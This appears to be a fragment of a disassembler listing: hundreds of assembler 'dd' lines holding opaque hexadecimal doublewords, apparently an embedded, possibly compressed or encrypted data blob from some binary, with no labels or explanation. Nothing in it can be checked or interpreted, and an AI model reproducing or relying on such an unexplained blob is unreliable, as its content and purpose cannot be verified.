		dd 9ABE281Ah, 0B3072C8Ch, 73678A49h, 4C608437h,	0FCA0509Eh
		dd 98F1679h, 0E02C4BE5h, 9947E818h, 80E1FD28h, 0AE06F5Ch
		dd 84696005h, 0F0EE5780h, 14B1F366h, 0A49F8084h, 0D1FD3780h
		dd 281E1EDBh, 0EF00AEE1h, 0E419ABBBh, 0B30D0271h, 912102F5h
		dd 25C69468h, 0B6946705h, 4F809227h, 0BAB08Ah, 4E1F2A0Ch
		dd 3A313449h, 45E1B03h,	4DA0DE19h, 8D501C79h, 88305448h
		dd 290F0514h, 40C57894h, 0D5C99AD0h, 2702B267h,	0AB071141h
		dd 18C49C99h, 0E162593Fh, 0ED50E956h, 0D70010E0h, 7323D4Dh
		dd 90E19FA6h, 0B2740964h, 9085E88Eh, 4B9091D3h,	0D9A202BCh
		dd 0C82F59BCh, 7C0065A1h
		dd 781E5C49h, 8822FBh, 6644BC12h, 7A8FC969h, 0E3B8600h
		dd 0BAF05CF7h, 13EF00A2h, 2BC82EB7h, 7F60321Eh,	0EAD9A811h
		dd 1407E76h, 6A4EC51h, 0DCA21452h, 62069544h, 0EEA1BBF1h
		dd 32C10231h, 3F53A417h, 98C6B420h, 816400EBh, 358B683h
		dd 0B405609h, 0AF5B1429h, 0A780DC42h, 2060E127h, 0AE9E013Dh
		dd 800BF98h, 2C8A98Bh, 3FA12CB4h, 0CE7A0370h, 0C1A9DC4Fh
		dd 94A90073h, 503315CFh, 0FC13DCAEh, 178210Eh, 0FD6B0064h
		dd 0B0AF072Dh, 0D337F5B6h, 26E057F4h, 7A002EBAh, 47A675E9h
		dd 13E12A2Dh, 274CBB86h, 0E7C91010h, 78004F5Ch,	9B09A716h
		dd 0FECFDB8Dh, 2FA500B1h, 0F694ED73h, 99006031h, 0DEE91511h
		dd 3E09B663h, 0C23AAE3Eh, 7BE7BB01h, 61ADA86Dh,	3042F048h
		dd 76103500h, 4B878507h, 0C8E300A5h, 93D266CCh,	92006402h
		dd 0F50B180Eh, 4C59A456h, 19397AB9h, 0BBACCDBFh, 0D6AD0588h
		dd 7BCA03Bh, 339F3900h,	87224FD2h, 0C8FD48AEh, 95D8520Eh
		dd 1D65D9C0h, 0F2014146h, 6CCDC1A1h, 0B7E54D26h, 16D6D4h
		dd 0B0DA79Dh, 92952190h, 198C5917h, 0E56018C0h,	79859065h
		dd 7882000Fh, 8969EFF9h, 0CE001666h, 26A9769Fh,	0F83B5F6Bh
		dd 0D4AD3BC6h, 5C5E2781h, 0D82501F1h, 4C12E744h, 640088CEh
		dd 96807DC8h, 6BE8A040h, 0E5FB18F1h, 611C36C1h,	4D897503h
		dd 0F1F23478h, 70607CB3h, 0A13E44BDh, 750D2086h, 11F95F00h
		dd 30018E23h, 74877763h, 0CF4A0092h, 2B263BB9h,	0E200D0E0h
		dd 0EF9F38A3h, 2C76516Dh, 3D58C363h, 0D4929000h, 0D7DCE481h
		dd 739F6900h, 83610EB7h, 0AB1B0037h, 0D0638996h, 0BB00D89Bh
		dd 0B181AFA6h, 4A8F8745h, 94840255h, 0BCE8C9C5h, 0E8987461h
		dd 0D3CE4700h, 0C46E2259h, 0B55A4C81h, 334AA2Ch, 8372B91Fh
		dd 0E8931B7h, 268AC8E4h, 44F73D00h, 0E9B01B28h,	6BF7A062h
		dd 971003BFh, 9A75F8C4h, 1F79E1E7h, 21F847F4h, 60B60F99h
		dd 2DE3FF00h, 6BC0C014h, 5E22CAh, 0D7F2C831h, 538010F7h
		dd 232FEA1Eh, 6D54D000h, 9E8F39Bh, 0C768BC5h, 407C486h
		dd 7F38E5Ch, 0AFB777C2h, 60D58812h, 8C5F98h, 33E615Bh
		dd 0F89ABA7Ah, 9312417Fh, 44811B6Fh, 0F5085E71h, 7E17E900h
		dd 0F645D94Dh, 0A5DD2602h, 2604BB0Ch, 0C0BA9863h, 3FB37794h
		dd 0D1113900h, 2F88232Eh, 7C941Ah, 2A9744F4h, 0CF48AB3Ch
		dd 0B6E087A0h, 0C7EC2850h, 886C0080h, 6E3C515Ah, 79006A41h
		dd 20A81F5Bh, 4C48434Ch, 28D3FC0Eh, 5E264AA0h, 5985E867h
		dd 5899F2ECh, 0C683946h, 382CBCEEh, 0DC000B29h,	0D0A458FFh
		dd 0B0CED933h, 3CEF22B8h, 42604F60h, 0FEFC383Eh, 0B08212C8h
		dd 0CCB4C09Bh, 1F2CECBFh, 9852C32h, 1888B793h, 0AF3B017Fh
		dd 8A212D07h, 4ACC4030h, 5B0BCB1Eh, 4883B971h, 64900E28h
		dd 0A17938F2h, 0E1E62078h, 0EA70CA01h, 0A37D15D6h, 5F8AB853h
		dd 79DC1829h, 23005FDCh, 50546910h, 0BB011E6Ah,	0F6240110h
		dd 660F3AE4h, 78A84CE4h, 0F400A7E6h, 86E83E55h,	26021C0h
		dd 0AD696E6Bh, 0B8C8B5A0h, 7F046790h, 6AFCE9BDh, 73EA00AAh
		dd 628C9B71h, 40032971h, 0ED414896h, 1CEB8043h,	983D483Fh
		dd 70BB2D00h, 8FDFEF81h, 92FC30Eh, 0B7F208Bh, 3A9DAECh
		dd 0BB628DBFh, 1D9053C2h, 0AE01823Ah, 708774E4h, 5861585Bh
		dd 76CC7421h, 3F4A49h, 0F9AAF8ACh, 60B08296h, 6CEA9C2Eh
		dd 37211B80h, 610AE135h, 0E8D06A4Eh, 994424D1h,	1EA82C00h
		dd 0BC76DC46h, 0ABFB0005h, 0E6356AC8h, 0D200FF11h, 63D5AFD1h
		dd 9C37365Eh, 20581684h, 0BF70B3F4h, 0B2323303h, 0B0296E92h
		dd 70BA8369h, 464122Fh,	9B588016h, 0C27A264Ch, 3B700600h
		dd 4AC62DAAh, 6FE300BFh, 6197DC5Bh, 2A3A37D4h, 0B524001Ah
		dd 0EBFA59DEh, 706D0757h, 8075C643h, 94B7C230h,	791E6300h
		dd 0BCB8AC05h, 0F9C700FEh, 0B2BF870Bh, 29003D4Bh, 0D4EBCFFBh
		dd 44457EEh, 0E7818F73h, 492A80A5h, 3500293Bh, 0C0ED13E8h
		dd 0F48EF6h, 0BB65370Ah, 0BA876CDFh, 4D494F03h,	0A712D921h
		dd 7DA68A70h, 0AB1C0A71h, 888703h, 1754CEE2h, 0DC00594Ah
		dd 0A0A4D29Eh, 203E1Bh,	0ADC7A625h, 805B30ABh, 1E3423Fh
		dd 2771CCC2h, 0A140474Ch, 33D3CD2h, 92E858FAh, 0EBC85264h
		dd 8C032AA4h, 8682B2ABh, 8D339855h, 91C8F7DEh, 0B4C8267Bh
		dd 0C49F0790h, 0BEFB4050h, 3125454Bh, 0E54C055h, 85EEBDh
		dd 0AF257A14h, 34EF241Eh, 1B9F1600h, 8DBD588Bh,	3B50757h
		dd 0E125A2B9h, 52A49C3Ah, 9310E2F4h, 7C1100CCh,	0C330A6FAh
		dd 12781E16h, 2500F97Dh, 3B5BD4B2h, 73480B15h, 0F4090C99h
		dd 2E49B367h, 10502086h, 78F6D217h, 0E0987F0Fh,	2F9DC983h
		dd 0DDA2009Bh, 74BFB155h, 10003AD7h, 768433D8h,	3CDABE62h
		dd 0F67EFB48h, 0D713000Eh, 15835124h, 0DD0C053Ah, 2CDCC853h
		dd 77CBEDBh, 0D0F05D99h, 39062E87h, 503D5BB0h, 54880090h
		dd 6A12CB8Dh, 0D8A407A2h, 0B341C0B3h, 0D0D91640h, 569040F1h
		dd 44FC96B4h, 0A873BF0Fh, 70D1E1BCh, 54C00DB8h,	1F857E06h
		dd 0C0DA896Fh, 1043464h, 8000DDBAh, 9ADEE0F8h, 1D470ECDh
		dd 87C8CF3Bh, 0A39359A0h, 3DA809BCh, 21147EE4h,	9885DBh
		dd 0EF6CE67Ah, 0F47102h, 78FC6A36h, 0FD77F6B3h,	0C5DF3D07h
		dd 0A822C843h, 0A30F27Ah, 5F63BF89h, 7A28C1h, 10711254h
		dd 0D12A3C8Bh, 27B2890h, 358344h, 215ADAD8h, 6B80C36Dh
		dd 2E9C27h, 8498DD20h, 8C8197D1h, 6059CDA6h, 6D26E7F4h
		dd 74005168h, 0E35AE807h, 0C86F4C09h, 9335F100h, 1ABD5565h
		dd 41DCED09h, 7380DF9Fh, 16C5F463h, 6A6EEA00h, 0A73598ECh
		dd 0BA03002Fh, 3B89B82Eh, 73013F77h, 36C50187h,	93F16AE1h
		dd 0FA8F8080h, 240B98F1h, 0C6C8440Fh, 992F806Ch, 0C0DD8DCAh
		dd 0C1E4E368h, 4304D236h, 0F88A9B26h, 0F40680C0h, 0FD920330h
		dd 6519B981h, 2BE63DC9h, 6A60B805h, 0C0FA9840h,	227223Bh
		dd 0AEA8C5A4h, 7960302Dh, 0BB00B574h, 0FE650A81h, 47BF6EBh
		dd 0A5CBF978h, 4C6C8C6Dh, 0FA795600h, 0AC42B026h, 0BED516CFh
		dd 0AD9C80D4h, 9E00B22Fh, 94204B7Ch, 24688473h,	1390C3F9h
		dd 2EC40E9Ch, 0B630B800h, 74390487h, 0F9810032h, 7F0DF0BCh
		dd 0DF510047h, 22557A99h, 0AC990714h, 2F40C825h, 0EA3C06B8h
		dd 78056F59h, 0FA8C4213h, 4460D4CDh, 49EF881Dh,	0D69BCB04h
		dd 34A0277Ch, 7044EAC0h, 36A6074Ch, 0C0C90A32h,	0BE54B61h
		dd 0ED501CB8h, 791F6FBCh, 1B0251B8h, 0C0907B69h, 2D105FB0h
		dd 4C00B043h, 7F97A3D6h, 4EEF581Dh, 0D5277047h,	67C12E60h
		dd 198600A5h, 0D2456A3Eh, 0CF00F423h, 0ADBC2988h, 0FC0354A7h
		dd 0D1246C19h, 0F4074261h, 0B893DE1h, 0A8B10E14h, 1ADECCh
		dd 4A379C47h, 3E43F5FDh, 465BF800h, 0A5BC65ADh,	0D29F0027h
		dd 329960E7h, 0DE010437h, 77EFDB4Fh, 0C1CCD441h, 4890CFh
		dd 0B783E8FFh, 955BACA9h, 0EA5B800h, 0CA7EA4EFh, 159801B2h
		dd 19B6884Dh, 0C8B464F2h, 0BB8C9A04h, 0BBA8ECB3h, 0AAA05600h
		dd 64CC5A9Fh, 15B40300h, 3EEDDE99h, 0D8840092h,	2FB9769Eh
		dd 9538F281h, 80A730B7h, 0F244A83Eh, 53D3046Eh,	0D0767840h
		dd 0F607FEA4h, 0C9ADB002h, 89608135h, 15648084h, 7CCB3B1h
		dd 4B9A574Dh, 266990C2h, 7A2F2BD1h, 80500B3Bh, 4710B767h
		dd 0CB380075h, 0B1521514h, 0E2006FA8h, 3FD5045Eh, 5B6B9Dh
		dd 0D4216689h, 83999F52h
		dd 0ECB014FAh, 0AB1E5C00h, 6238491Fh, 0FB2503B4h, 6F825F9Dh
		dd 0A0D0EFC2h, 33205603h, 0C8D89B9Ch, 7921299h,	534D2A80h
		dd 8098F541h, 34B12BB4h, 4E28CF00h, 1351F84Bh, 0F5E4005Dh
		dd 0F097B018h, 0CB7CE311h, 0C7ED6A00h, 0D3F8300Eh, 8D4C009Fh
		dd 689EDE0Fh, 0CB009056h, 9CBA2EAFh, 39652E9h, 3125BE39h
		dd 16806941h, 23008087h, 9E42D644h, 73DC48F0h, 0D45100CCh
		dd 4AFC95C4h, 0A22666CEh, 4900686Ch, 0CCFD6A8Dh, 45F30015h
		dd 0C1769935h, 0FC0026C0h, 416E3E4Ch, 1D5411C6h, 80FF8D71h
		dd 908612FAh, 0F009361h, 0D8DFEB17h, 58199E9Dh,	68483B03h
		dd 89432705h, 2469C03Ch, 0A70FE1F6h, 0BD5A9723h, 93FCE09Fh
		dd 14885467h, 875240A5h, 0ACBA2102h, 8E84AD97h,	629561A0h
		dd 0BC404F50h, 0F6B424h, 0C734372Eh, 90CBACD0h,	2C11DA24h
		dd 0AA80581Fh, 0E0EDF9EEh, 4A670075h, 8B1D5A6Fh, 0B61287F0h
		dd 30A0C180h, 6C3C1C2Bh, 80621247h, 262A2244h, 120338B8h
		dd 0F6F4E663h, 55AB6Ah,	0FC9BEEEh, 66A1045Fh, 25F51317h
		dd 7607C40h, 280532h, 0E25AD063h, 0B05B57FBh, 0D6F4361Eh
		dd 0CEDA8381h, 409F0CD9h, 81A00B1h, 0A362B0D2h,	0EF0B1090h
		dd 480AFAh, 0AFAB19E8h,	1BCE003Eh, 0F42EB93Ah, 1F00EB5Fh
		dd 0B8747247h, 97D95E7Eh, 9DAFA8C0h, 2868EA30h,	0E3226BDh
		dd 6E7AE7CCh, 0F97BC040h, 0C5F01650h, 0AB181506h, 2194A3Eh
		dd 0CE92E620h, 44406612h, 28005C69h, 0C642103Dh, 721814h
		dd 9D889E43h, 0B1E56397h, 8323943Bh, 98B4E9E0h,	758CF0C4h
		dd 2B9200DFh, 5BCFF22Fh, 24045120h, 0DD312C21h,	5EDB3C80h
		dd 6B6520F7h, 2ED10500h, 0B75979B9h, 0E5E201h, 627D8D3Ah
		dd 0AA6A0880h, 909A0560h, 0C2C93Ch, 4A4EA683h, 12D72E4Ch
		dd 8896D333h, 0C745A859h, 3C8F4814h, 5516EB00h,	0A069E9Bh
		dd 0E691F300h, 68FCE962h, 616E00ECh, 3E29AF05h,	21252825h
		dd 189C6E67h, 4860843h,	3F7E7BE9h, 9BE05D00h, 34FA73A7h
		dd 7923C9Eh, 23728700h,	0D1E7C1D4h, 2E9AAF00h, 3520CF1Eh
		dd 0A6A12627h, 0A4400024h, 221667C4h, 0B7F8A200h, 788F7A17h
		dd 0EEE23F61h, 6EA59780h, 9A1E96B3h, 0FB49D600h, 0F5CCFE44h
		dd 124C9C24h, 85943559h, 0DF940ED6h, 2A43B2E0h,	0CE171B2Fh
		dd 0E0042623h, 9480532Eh, 13A1F1ABh, 4836C02h, 5EE763E4h
		dd 0CC04B38Eh, 13CA2848h, 0F299675Eh, 824180A8h, 0FA7C25h
		dd 342F6F0h, 245C1C59h,	5220A600h, 0DC965A5Eh, 5C995C0Bh
		dd 0F847EA86h, 0F9BF5500h, 63267142h, 0D2E701CFh, 1D33C437h
		dd 52788015h, 9F1172E0h, 94A0C43Eh, 6C3F4BEAh, 66C43BE0h
		dd 49621705h, 0FD4FC20Eh, 255BE078h, 7CB08C84h,	0FE50F57h
		dd 0E90E5ADCh, 83AEA565h, 4EF9048Ch, 9B647015h,	0E2090305h
		dd 10D01325h, 0B8C13FE9h, 2E0F064h, 1150BC62h, 1856A3B6h
		dd 0B8D07800h, 7BDD2F4Bh, 13DCFE12h, 0B43C1CEh,	9480960Bh
		dd 0CFF7BD39h, 7A195D00h, 8FA3E845h, 897810h, 0D7C99F0Ah
		dd 8371F092h, 8873ED00h, 3FFCEA0Fh, 7E080756h, 50FDBBFAh
		dd 0BD7AF284h, 0F91889FAh, 0DBC08C38h, 0C13B4AEAh, 0F0352DE8h
		dd 3700D4C3h, 3355640Ah, 26F592D2h, 836C8269h, 8A292BFEh
		dd 11B179D0h, 5C907D79h, 0BA88F900h, 40036218h,	0C8C200E3h
		dd 9C1F5A53h, 0A600A0BDh, 2F2E4825h, 1B3ADACh, 0F56D02B9h
		dd 8476EEE3h, 658DC3E8h, 12C008A4h, 0E0344680h,	0A05C0850h
		dd 1E52552h, 0F47056B0h, 51B0043Ah, 0D243C04Ah,	0D3014E63h
		dd 9C496FE7h, 388C7620h, 0AF6095ACh, 94E7100h, 554113B3h
		dd 1C580056h, 7FCB77EDh, 1E00D966h, 0A4EC4B0Ch,	3BA78E0h
		dd 95DA2BF6h, 3EB0FA4Eh, 0C0480C2h, 9693228Fh, 715B1080h
		dd 86810E67h, 0B481F27Bh, 40DD5CABh, 0B01B3EE1h, 0DA9D9C00h
		dd 64270238h, 23CEADFh,	0B876F06Fh, 9A7CCBAEh, 0FA542425h
		dd 0C22FC280h, 80E204D7h, 0C1B7FF57h, 40F61A14h, 313ABEC0h
		dd 0F5740AB0h, 4F2AC100h, 67C0E74Ch, 0F91E0025h, 9036BC86h
		dd 6000D295h, 9AA8EB4Ah, 3D0864h, 512211B6h, 0E971CDE2h
		dd 5477192Eh, 90079917h, 5AD193F1h, 1190FE87h, 7F7211BBh
		dd 47009B3Ch, 0D93EB626h, 1D04D473h, 0F527D150h, 0E208B080h
		dd 83EA3A16h, 0F04D5850h, 0C0C2496Bh, 8D2F4700h, 67FB010Eh
		dd 4DE2B400h, 7DC243ECh, 10A30FA5h, 80E64B7Ch, 750041F7h
		dd 745842Bh, 0A7DB8Dh, 0BD7C4A5Ch, 0AA8EA93Eh, 6A857F00h
		dd 1B5F42CBh, 0EC77008Ah, 6E576BBh, 0F500C866h,	3B9E7F2Dh
		dd 0F4C95A6Ch, 7C13B8CEh, 0F02E02C3h, 0E2B364E9h, 2C69A0E0h
		dd 0F17ADB30h, 1F386E24h, 80A0FAE4h, 0FCEF82C2h, 2A775EB4h
		dd 5F9938h, 77C75BA9h, 630AB93Fh, 489B38E1h, 8D18D6C0h
		dd 0F3F9E200h, 0F501CC93h, 6820C392h, 0E1E6A7DFh, 0CD9D0A03h
		dd 80B5A99Eh, 944090h, 0EA53E605h, 9A2D3769h, 0C918F854h
		dd 4E7E3107h, 800083ECh, 18F014A2h, 0B97BDC0Eh,	0BC03B63Bh
		dd 0DD9112E9h, 0CD98C063h, 0D75F00A6h, 65115367h, 6974E53Fh
		dd 0F21AF918h, 0C773DBA0h, 0C7BA3141h, 22364091h, 0DD029881h
		dd 686ADC41h, 25E4AFC5h, 13803B0Ah, 0C92296h, 42E93C07h
		dd 0AC6273FEh, 8F285D61h, 34640D43h, 80C902AAh,	0A0521688h
		dd 0E97984A0h, 0BB7D08D6h, 224DC30Eh, 0FA13201Eh, 507433h
		dd 8604A101h, 0C1DC2FA6h, 0F2BD7E07h, 0FE7016AFh, 1736322Ch
		dd 49B9EFh, 531B573h, 23034CC1h, 0F72FBC2Eh, 0A50EA81Ah
		dd 79380536h, 80DD72CAh, 91653284h, 0D41AB119h,	2605F40h
		dd 11F8D5h, 7EB42035h, 1C570919h, 0DEBD2400h, 63CAD860h
		dd 99F232h, 77526DCFh, 460CA29Ah, 0B8EBBC06h, 1B9139D8h
		dd 68BE6C35h, 6203DFC0h, 803D8F3Dh, 94F57731h, 37C6DCDh
		dd 0B927E5F9h, 69E0A6CEh, 5000A948h, 78D14D98h,	0CFC11Eh
		dd 349282B0h, 2113DB11h, 29FC3300h, 7170BEBDh, 0E975011Dh
		dd 59B0EEBFh, 2F3370D6h, 5DBE38C0h, 0EAD7627Ah,	0C06703DBh
		dd 3D690BFBh, 0D350E0FFh, 0D00F34A4h, 0C0B8AEB0h, 299559F3h
		dd 0D7E5388Bh, 4EF13180h, 0E226B7ADh, 0DDDF5100h, 1463CE59h
		dd 8EA0372h, 0B0FE6960h, 17007079h, 85115948h, 1E9978D4h
		dd 0C6FBB3h, 26910997h,	51E4C4D9h, 0C0AEF06Eh, 383F2755h
		dd 0DC9007Ch, 4C4630B8h, 98007850h, 0CF6F100Fh,	0C0965290h
		dd 634131D1h, 0C47C81A7h, 0D1820E00h, 0CD06D346h, 8436003Eh
		dd 7B53E0FFh, 0DA606831h, 0EF7F5E99h, 0B43000FEh, 2AA6C429h
		dd 9B1ECCBFh, 9180E45Bh, 0FF071666h, 0B8145415h, 8976036h
		dd 573DDA2Fh, 6496A907h, 790FFEh, 0CF3739D4h, 7C2F00AFh
		dd 0B3EDE8F5h, 7700991Bh, 577DDD45h, 196C529h, 89F1746Dh
		dd 0D0956C5Ah, 0F2623E84h, 30BE6A10h, 97119A78h, 771C1481h
		dd 41705895h, 0D22BDF24h, 4B1E04E9h, 8110DA9Ah,	0E34C9918h
		dd 0CA3F2180h, 95665C2Ch, 5E308D19h, 21803209h,	3B2CC21Fh
		dd 0AFEEB15Dh, 8431B808h, 0EEF74037h, 98001980h, 6BA61A52h
		dd 0EFE5139h, 31D3544Bh, 0B203C7BCh, 0A3D82184h, 7F39862Dh
		dd 0FA1F13Ah, 6B50861Fh, 0C3C10D20h, 0CC30CF44h, 4D23C1FEh
		dd 0B5260015h, 9257BFD0h, 0C501E6C2h, 0BDF16F18h, 7440D437h
		dd 30C3DDB6h, 841130D1h, 0A3071475h, 0EDF56997h, 0A3F62153h
		dd 63210F1Fh, 65E1146Eh, 912F7DD7h, 7B80C540h, 79974514h
		dd 0DE88208Ch, 14736D07h
		dd 6220A5BEh, 0C6A769Bh, 2B37242Ch, 9F0341E9h, 1F38EB5Ah
		dd 7B6D8032h, 981402C9h, 0E7ADD949h, 28B78890h,	0B292081Eh
		dd 21811458h, 7D833B1Ch, 0D0781680h, 0F65884AEh, 729DA804h
		dd 5FC04C2Ah, 540754E9h, 0F298D5h, 5A75F1A1h, 53E290ADh
		dd 0EA0709C6h, 99920020h, 0E609D1F1h, 13068827h, 0FD062C32h
		dd 84470041h, 21CA279h,	5006978h, 56656FE8h, 19080430h
		dd 0A12AD2DCh, 0B598E7E2h, 1312895Fh, 306F2C15h, 0EAD19600h
		dd 11E296Ch, 0DDB46F10h, 0FB13B06h, 0D8187905h,	63931ADh
		dd 57D1C001h, 216F5D60h, 18BB4000h, 0D8708B5Bh,	0D0F10679h
		dd 28EBFDCCh, 185A9481h, 7FF10847h, 0BC43D5Bh, 0F19F9840h
		dd 9B017CF2h, 0D87E9C3Bh, 0D84842AEh, 3C24FD39h, 30320711h
		dd 211C3A35h, 0E337A207h, 0A7812900h, 0B4A8F58Dh, 0EDBB00ACh
		dd 0CC7E2663h, 0B1014AC4h, 0AFD8FFDAh, 0D022D158h, 0B101A023h
		dd 4EACC52Ch, 28883B18h, 332C0FC9h, 42478A41h, 0B5FCE710h
		dd 12E821CDh, 7481EC0Ch, 0F770800h, 7DB9B1D5h, 934A1FCDh
		dd 64091DA0h, 26820F2h,	274871A7h, 90D4AA18h, 11E4B609h
		dd 7918C7B0h, 97471408h, 0DE87C249h, 0E0716F02h, 64D3Ah
		dd 558A7898h, 0D6765928h, 2E0CE4EAh, 79705730h,	3078E833h
		dd 8911ED39h, 0B000A2C5h, 0D641A872h, 0E942706Ah, 18217DFBh
		dd 306EA45Dh, 0F5240FAAh, 20915003h, 6C3D6601h,	0F47E02AEh
		dd 30008E65h, 0CB508061h, 7D487D07h, 26D2133Ch,	23203EDEh
		dd 0DEFD001Ch, 15778311h, 86B4B148h, 0A9DA3Bh, 0E147D328h
		dd 5331B295h, 3DAE5901h, 676D87F2h, 0A888FCC3h,	90452434h
		dd 90DA1485h, 572F750Eh, 92C10E71h, 0D80ACAA0h,	0A0FF9428h
		dd 560F839h, 0D71A8079h, 9DE03Fh, 3216947Ch, 0F9293D48h
		dd 0F712101h, 51061A4Eh, 0BC521025h, 0E30E0247h, 8511F49Fh
		dd 0A6ACA180h, 0A53A2380h, 96D88970h, 0D9D81129h, 89B8719Dh
		dd 358112E0h, 82DCCD4Fh, 89B07419h, 0EDB4C1F5h,	4186D042h
		dd 0F1A92C50h, 0E9EED0E0h, 259C86h, 452F1996h, 129FDB0h
		dd 3B029C58h, 6A150FADh, 75408430h, 0CBA2C660h,	43607210h
		dd 0AB8086C8h, 0DCCAA45Eh, 58F00060h, 1EDEA83Ch, 0AA3014FFh
		dd 4FCE89D3h, 0BBA53C98h, 1605929h, 5A7EF148h, 0A8091865h
		dd 0A099E4h, 7E6D28F1h,	0D2D54245h, 92B92C60h, 24D2730h
		dd 494F9481h, 0B4A03537h, 8D9996D3h, 62FCA100h,	7C05AE9Ah
		dd 581105D4h, 98D06FC3h, 91005C30h, 3845D1B8h, 508396h
		dd 0C160924Ah, 2BD2769Eh, 1C9729C0h, 8A0D1Dh, 0CF3DC3B1h
		dd 1529DC84h, 0EB606273h, 2CFB56E9h, 61F2FF7Ah,	0B0189F64h
		dd 0AC23C2FCh, 2371166h, 0D42CC829h, 0B302C0E5h, 6E7D06DCh
		dd 0BE37C5A6h, 1A8AB52h, 2E9DC1EAh, 0C450DB5Bh,	66F5E99h
		dd 7C73D8C3h, 6E5408C9h, 5C384308h, 0A054296Fh,	106DC40Ah
		dd 0CC9E4A84h, 66B5088h, 60BAABB4h, 0D30568D2h,	0BCE09095h
		dd 0B23E02Fh, 74FDBA00h, 183F9CBDh, 0F1E6ABD9h,	29D45630h
		dd 0CCC512ECh, 7E6E020h, 9BDB00AFh, 9DD58109h, 111E83C6h
		dd 0F844BDC8h, 438084A8h, 54902B55h, 1DE5242Fh,	64ACC9h
		dd 0A1187C3h, 26FA5E68h, 6581D707h, 743A154Ah, 0B008C82Ch
		dd 127E81DDh, 0D5301418h, 2C51A877h, 0B72F44h, 46FBC5CBh
		dd 1AD5284Fh, 27EC8400h, 4C5ED319h, 0CA29C734h,	0AD31E0BAh
		dd 3005510h, 16E4B007h,	2DE051h, 4524AC85h, 3B5B87CFh
		dd 23142E48h, 2CCC039Bh, 6294ACC6h, 0C4252033h,	0F03DBB2Ch
		dd 6E4978D6h, 0A2C780D8h, 8C5872CAh, 5FAA10FDh,	9A4A04A4h
		dd 0C93A7E0Eh, 0CE27ECD0h, 75035272h, 593638E1h, 0FE9C9094h
		dd 0D94A0C7Fh, 5F81E2B0h, 0CFA73205h, 0BC5434CCh, 43EEE80Ch
		dd 124403E9h, 902571A1h, 301B563Fh, 7691DD3Bh, 4E007A2Fh
		dd 0EFF43F6h, 48F35B7Dh, 0A50FCD3Dh, 0BA897874h, 0D8419032h
		dd 87C18C4h, 71974414h,	211BC6h, 0DD14746Eh, 0DE0E6B0Ah
		dd 117DB238h, 0CA012B6Fh, 0FD434B64h, 274ADCAAh, 0F32EB172h
		dd 0A488C40Ch, 3A7F8630h, 0FA01B9EFh, 0E7187869h, 56CC8526h
		dd 679526ABh, 0DC283208h, 9E58202Ah, 926F0110h,	66C91BE3h
		dd 7572035h, 0B03CFD1Dh, 0B4EE254Ah, 43805E11h,	9D5A7BF1h
		dd 94587494h, 72F1029Bh, 2B98D886h, 5708588Eh, 765D00BCh
		dd 6896BEB2h, 9134B114h, 0F146805Fh, 0A5355B80h, 9E970434h
		dd 0D8FBC0F1h, 69C4E4AEh, 5082B3D7h, 0A2C23079h, 0C072AF08h
		dd 5AE85B41h, 8A0C3BA4h, 81D7CD3Ch, 20A76D1h, 0AB5461FEh
		dd 0A88171A2h, 10EA5B30h, 244BF0BEh, 0C0A49ED1h, 0ACC32CAFh
		dd 36225E46h, 2CC72200h, 0C3CE687Fh, 8C9C5096h,	224B8920h
		dd 605907FCh, 3250E4B8h, 5E22B0Dh, 0CCB463A9h, 0E90CFACEh
		dd 3101A9DAh, 0C4412E56h, 0B0AC4084h, 11416BA0h, 6AAFD8F0h
		dd 74FC590Eh, 81053246h, 886A01CAh, 0A7083FE0h,	1F0C6356h
		dd 5482EA8h, 480A36C2h,	0CBC09A34h, 43ACC72Ch, 0C31E80BEh
		dd 4E4AC12Ch, 7B2C413Ah, 0FC9C4F3Eh, 850661A5h,	0F2EA668Ah
		dd 0D4D200F9h, 56A851E4h, 7D1329B4h, 4C81D926h,	59A8E5FBh
		dd 578B026Bh, 6C54EB52h, 0ED06EB40h, 776529C0h,	1B68A5h
		dd 0DE3545ACh, 9913D5E1h, 6E5BE408h, 0E28EBEF1h, 0A984E97Dh
		dd 0F00898B2h, 0E144E89Ah, 3A101489h, 230EC493h, 7949DA6Eh
		dd 5E0EC01h, 297DF0D8h,	0D6DE3713h, 7B1418CCh, 185FE93h
		dd 53CB3D60h, 0D8B84A5Fh, 0D11941B7h, 4E0C6288h, 72B589F0h
		dd 0BE3E3E82h, 8C1DB63Ch, 104D181Dh, 66003C65h,	8B41A23Fh
		dd 0D3FA56h, 4E5D6F17h,	75B652CFh, 61838407h, 0B553C037h
		dd 6653C03Dh, 4EB41E39h, 50640E63h, 0D84F3099h,	5EF8D177h
		dd 720E84E8h, 41B24AB9h, 58B542F1h, 41EC84Dh, 6006A1BEh
		dd 113882Ch, 0AA94886Eh, 1E725700h, 994ADC04h, 0EE261268h
		dd 88948E4Dh, 7FE5C008h, 0C00396F9h, 2C518593h,	1290CABh
		dd 2B79526Fh, 0EC969A18h, 9265568h, 0D435E47Fh,	11A49CC1h
		dd 0B828A9D8h, 276E7F81h, 0B628841Ch, 88B3C2DDh, 0A2147601h
		dd 7CF62197h, 6F64A004h, 0E0E41D14h, 8A0640ACh,	43E8DC03h
		dd 0F2CD7E00h, 0CCD7989Fh, 187CF015h, 6818CB6Eh, 111D5C4h
		dd 3C142F73h, 0CB856885h, 0B12CB3DDh, 850CDE86h, 6848FA00h
		dd 0EB81C799h, 0F9AB0630h, 2915D01Eh, 9C4670B8h, 0C92CAD02h
		dd 0B479AEACh, 2CC5206Eh, 1391283Ch, 0D0056B29h, 1F9EF03Ch
		dd 531E3400h, 0F8208AAh, 3F463C26h, 14850B00h, 0BB7E3E38h
		dd 0EDE2FCA5h, 0D0B01BE9h, 55020716h, 2F09CDD5h, 0A1C7253h
		dd 0D6F0E37Ah, 0FB060DB0h, 0BCF82839h, 0E943EFh, 6B784DE3h
		dd 868A20Dh, 0EA490291h, 8FD40194h, 0F7BFC7A9h,	29FD2CE0h
		dd 0D1D705BBh, 13A3EFFh, 456891ECh, 0BC2080F6h,	0D1DEB689h
		dd 3FB7205Fh, 2EA0AD09h, 0D260028Ah, 0C7CF83Dh,	0EEF49AE8h
		dd 0E2464C8h, 0EA81248Bh, 69BA30C0h, 2533898Eh,	82528783h
		dd 142F204Bh, 104DD23h,	20A9B0D9h, 8C57E61Ch, 7451041Fh
		dd 0A2C9048Ch, 62C872CCh, 61AC2086h, 0F20078A4h, 484DF55Eh
		dd 1755E521h, 0D0AD150Bh, 0DB69B224h, 565BAB05h, 8403E30Fh
		dd 7CD195C3h, 4F5E3E21h, 716018EFh, 0B17791F5h,	0E4EA0B24h
		dd 0E7BF3831h, 9E68AB00h, 1A07550h, 82386C4Ch, 81D36311h
		dd 19E24A38h, 406E18Ah,	3E93E4h, 6E604B02h, 160373C6h
